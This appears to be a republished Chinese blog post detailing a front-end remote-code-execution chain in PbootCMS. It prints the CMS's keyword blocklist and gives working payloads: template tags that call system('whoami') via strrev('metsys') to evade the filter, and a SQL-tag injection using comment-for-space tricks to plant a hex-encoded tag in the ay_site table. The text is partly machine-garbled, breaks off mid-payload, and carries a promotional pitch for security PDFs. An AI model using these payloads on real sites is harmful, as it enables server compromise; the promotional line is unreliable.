php正则函数抓取网页连接( 渗透测试、学习视频300PDF等你学习(一) )
优采云 发布时间: 2022-03-16 03:14php正则函数抓取网页连接(
渗透测试、学习视频300PDF等你学习(一)
)
前言
本文记录前端RCE的挖矿过程。由于cms前几天才修复,所以记录下挖矿过程
然后直接看代码,首先目标还是解析if标签的代码块,看三个规律
/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/
/([\w]+)([\x00-\x1F\x7F\/\*\\%\w\s\\\\]+)?\(/i
/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i
如果您没有耐心阅读它,请参阅此处:
我是一名网络安全工作者。我喜欢安全,爱安全。另外,我整理了一些渗透测试,学习视频300PDF等,供大家学习(文字只是正文的一部分)。如果你有兴趣,你可以保存并阅读它。
需要300PDF网络安全资料请关注我: 私信回复“资料”,获取更多网络安全采访资料、源码、笔记、视频架构技术
与上一版本相比,第三条规则更多(([\w\s.]+))如图
这里猜测是开发者想在if标签中禁止条件代码段中括号的内容,但是经过测试xxx(“xxx”)的形式可以忽略规律,不影响我们的代码执行,现在if我们可以直接编辑模板,以执行系统功能为目标,研究如何执行代码;
为了绕过系统的定期检查,可以使用以下方法绕过
strrev('metsys')('whoami');
那么很容易想到使用下面的payload测试
{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
测试后会发现无法执行,因为无法绕过第二条规律。我们可以通过简单的输出打印程序的安全验证。
可以看到这里strrev是一个定义好的函数,所以语句被截取了,那我们试试在strrev前面加一些字符看看情况
{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
可以看到有eval执行错误信息,说明我们成功绕过了验证,eval执行了我们输入的内容,但是执行当前内容的时候出错了,所以接下来的目标就很明确了,我们我需要找一个可以替换xxx的内容,这样eval执行就不会报错;经过搜索,我找到了这样的内容
只是为了测试
确实符合我们的要求,试试下面的payload
{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
成功执行系统功能后,经过思考和测试,也可以使用注释,如下
{pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
但是像这样执行命令是不够的。我们需要找到一个用户可控的点来解析 if 标签。在上面的参考 文章 中,我们可以很容易地解析我们在前台搜索函数中输入的内容。标签,并用于替换 pboot@如果你可以使用
{pboot{user:password}:if
此表单被绕过,但在此版本中删除了 decode_string 函数。单引号和双引号在标签解析时被编码,无法正常解析。但是从前面的分析可知,我们当前的使用方式需要使用双引号来绕过第二次正则检查,目前暂时无法在前台搜索中使用,所以需要查找是否有其他使用方式,并配合我们目前拥有的条件使用。
在查看 cms 更改日志时,我发现了这个描述
程序新增了一个解析sql的标签,这意味着我们可以在前台使用搜索功能来执行我们想要的sql语句。这时,我的脑海中初步出现了一条应用链;我们知道,在以前的版本中,我们可以使用后台配置中插入的标签语句,最终语句存储在数据库中。如果我们可以使用前台搜索功能执行sql语句并将标签插入到数据库中,我们可以直接RCE跨后台配置功能,那么目前我们面临两个问题需要澄清;
1.标签应该写在哪个表的那个字段
2.前端搜索函数如何执行我们的sql语句
首先,第一个问题很容易解决。在之前的版本中,我们在站点信息的尾部信息处写了label,对应ay_site表中的copyright字段,所以写label的初始语句为:
update ay_site set copyright= (标签的16进制,避免引号) where id = 1;
接下来我们看一下解析sql标签的代码
// 解析自定义SQL循环
public function parserSqlListLabel($content)
{
$pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/';
$pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
// 获取调节参数
$params = $this->parserParam($matches[1][$i]);
if (! self::checkLabelLevel($params)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
$num = 1000; // 最大读取1000条
$sql = '';
foreach ($params as $key => $value) {
switch ($key) {
case 'num':
$num = $value;
break;
case 'sql':
$sql = $value;
break;
}
}
// 特殊表不允许输出
if (preg_match('/ay_user|ay_member/i', $sql)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
// 判断是否有条数限制
if ($num && ! preg_match('/limit/i', $sql)) {
$sql .= " limit " . $num;
}
// 读取数据
if (! $data = $this->model->all($sql)) {
$content = str_replace($matches[0][$i], '', $content);
continue;
}
// 匹配到内部标签
if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
$count2 = count($matches2[0]); // 循环内的内容标签数量
} else {
$count2 = 0;
}
$out_html = '';
$pagenum = defined('PAGE') ? PAGE : 1;
$key = ($pagenum - 1) * $num + 1;
foreach ($data as $value) { // 按查询数据条数循环
$one_html = $matches[2][$i];
for ($j = 0; $j < $count2; $j ++) { // 循环替换数据
$params = $this->parserParam($matches2[2][$j]);
switch ($matches2[1][$j]) {
case 'n':
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
break;
case 'i':
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);
break;
default:
if (isset($value->{$matches2[1][$j]})) {
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);
}
}
}
$key ++;
$out_html .= $one_html;
}
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
安全过滤器之一
sql语句不允许对ay_user和ay_member这两张表进行操作,但是不影响我们往数据库写标签;然后看这段代码,重点是this->parserParam(this->parserParam(this->parserParam(matches[1][$i]);,
跟进方法
让我们打印解析后的内容,并使用以下标签进行测试
{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}
该语句未正确解析。仔细看源码,应该是split语句的规律性匹配的。尝试用评论替换空格。
{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:s
成功解析到我们想要的语句,去前台执行
数据库中的内容已经更新成功,将hello替换为我们的label语句
{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368